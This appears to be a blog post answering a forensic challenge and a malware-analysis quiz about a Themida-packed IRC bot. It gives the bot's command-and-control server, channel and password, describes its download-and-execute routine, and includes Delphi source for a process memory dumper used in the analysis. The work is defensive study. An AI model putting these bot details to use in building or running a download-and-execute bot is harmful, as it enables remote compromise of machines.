  If Zeutrino has changed has changed is statically assigned IP, Pal should look for traffic on the given subnet from IP addresses which should not be assigned (we can assume that Pal being a Vogon sysadmin keeps a strict record about which IP are taken and by what). Because may have Zeutrino instead swapped his IP address with an other terminal, he should first inspect the terminal which has currently the offending IP and if he finds no signs that the attack originated from here (such evidence is most readily found in the browser history or in the free space on the disk if it wasn’t wiped) he should proceed and look at every computer on the subnet. To confirm that he has the right terminal, he should look for signs that the given computer was used for the attack (most simple way is to search for the contents of the cookie in the raw image of the terminals disk) or that the harddrive of the given terminal was wiped. If he finds only one harddrive which was wiped in the whole subnet and finds the strings nowhere, he can be pretty sure that that terminal was the offending one.

• Bonus question: The wordcount is 42, which according to the book is the answer to all the questions of the universe.

Malware analysis quiz VII

1. Is this malware packed? If so, with which packer?

   It is packed with Themida, produced by Oreans (http://www.oreans.com/themida.php), which is a very hard to break protector. It includes optionally detection for virtual machines (VirtualPC and VMware), a feature which is activated in this executable. Because of this analysis is only possible with an other virtual machine (if you don’t want to sacrifice a real one :)), my personal choice being Qemu (http://fabrice.bellard.free.fr/qemu/).

   During the process of unpacking the executable dumps a driver in the system32drivers directory with the name oreans32.sys (size: 33952 bytes, MD5: aad837bf3b475092fd515cd0842334e9). Although this is detected by CAT-QuickHeal as Rootkit.Agent.ad, is not malicious file, but a part of the protector itself. Still, probably most people would like to remove this file too, which can be done by entering net stop oreans32 at the command prompt and then deleting the file itself. Given the way this file was packed, we can say for certain that it was first run by a program having the load driver privilege (usually this is attributed to members of the Administrators group only). On subsequent runs however it wasn’t necessary for it to have this privilege since the driver was already installed and running. This is an other reason to delete the driver./

2. What is the purpose of this malware?

   It has a single purpose: to download and execute any file the master controller instructs it to.

3. Does it connect to a remote server? With which purpose?

   It connects to uk.undernet.org and joins the channel #secretcow with the password werule which acts as a command and control center for it (the channel has been shut down). The nickname of the user who controls this bot is Daddy.

4. Which channels does it connects to?

   #secretcow. It also sends status messages to the #yousawthatss channel (like :Downloading. and :Executing.)

5. Can you get any passwords related to this malware? (Not the infected password)

   The channel password for #secretcow is / was werule

6. Which capabilities does this malware have?

   To download and execute files from a given url. These files are downloaded to C:dl.exe and executed from there. This is an other indication for the fact that the malware was intended to run with high privileges (because low privileged users do not have write access to c:). To reconstruct the files which were downloaded and executed (if any), there are two possibilities: looking at the Internet Explorer cache on the infected machine. This works because the malware uses the URLDownloadToFile API, which is part of Internet Explorer and stores the downloaded files in the same cache as it. An other possibility would be to look at the proxy logs if the computer was behind one. Because the malware uses a function which is part of Internet Explorer, it uses the same proxy settings as IE.

7. What is the hidden message? (if there is any…)

   no security without knowledge. No knowledge without research. Be a good guy! It is worthwhile.

   For analysis I ran the program in Qemu for a couple of seconds and then did a full memory dump of the malware using the small program shown in the appendix. I imported the relevant sections (dump_00400000.bin, dump_00401000.bin and dump_00404000.bin) in in IDA (when importing you must take care to mark the sections as 32 bit code). Unfortunately the protector obfuscates the IAT, so the analysis was done mostly by looking at the strings and the method calls to the library functions (it was written in Delphi and IDAs FLIRT signatures managed to identify a couple of library routines).

Appendix – Source code for the memory dumper. Use Turbo Delphi or FreePascal to compile.

program dump_mem;

{$APPTYPE CONSOLE}

uses
  SysUtils,
  Windows;

var 
    hProcess: THandle;
    l: integer;
    buffer: pointer;
    numRead: Cardinal;
    memStart: pointer;
    memInfo: MEMORY_BASIC_INFORMATION;

procedure PutFile(FileName: String; FileDataPtr: Pointer; FileSize: Cardinal);
var
  hFile: THandle;
  Written: Cardinal;
begin
  hFile := CreateFile(PChar(FileName), GENERIC_WRITE, 0, nil, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, 0);
  if hFile=INVALID_HANDLE_VALUE then begin
    WriteLn('Failed to open output file!');
    exit;
  end;

  WriteFile(hFile, FileDataPtr^, FileSize, Written, nil);

  If Written <> FileSize then begin
    WriteLn('Failed to write output file!');
    exit;
  end;

  CloseHandle(hFile);
end;

var
  pid: Integer;
begin
  pid := StrToInt(ParamStr(1));

  hProcess := OpenProcess(PROCESS_ALL_ACCESS, false, pid);
  if hProcess <> 0 then begin
    memStart := nil;
    l := VirtualQueryEx(hProcess, memStart, memInfo, SizeOf(MEMORY_BASIC_INFORMATION));
    while l = SizeOf(MEMORY_BASIC_INFORMATION) do begin
      if meminfo.State = MEM_COMMIT then begin
        GetMem(buffer, memInfo.RegionSize);
        if ReadProcessMemory(hProcess, memInfo.BaseAddress, buffer, memInfo.RegionSize, numRead) then begin
          PutFile('dump_' + IntToHex(Integer(memInfo.BaseAddress), 8) + '.bin', buffer, memInfo.RegionSize);
        end;
        FreeMem(buffer);
      end;
      integer(memstart) := integer(meminfo.BaseAddress) + meminfo.regionsize;
      l := VirtualQueryEx(hProcess, memStart, memInfo, SizeOf(MEMORY_BASIC_INFORMATION));
    end;
  end;
  CloseHandle(hProcess);
end.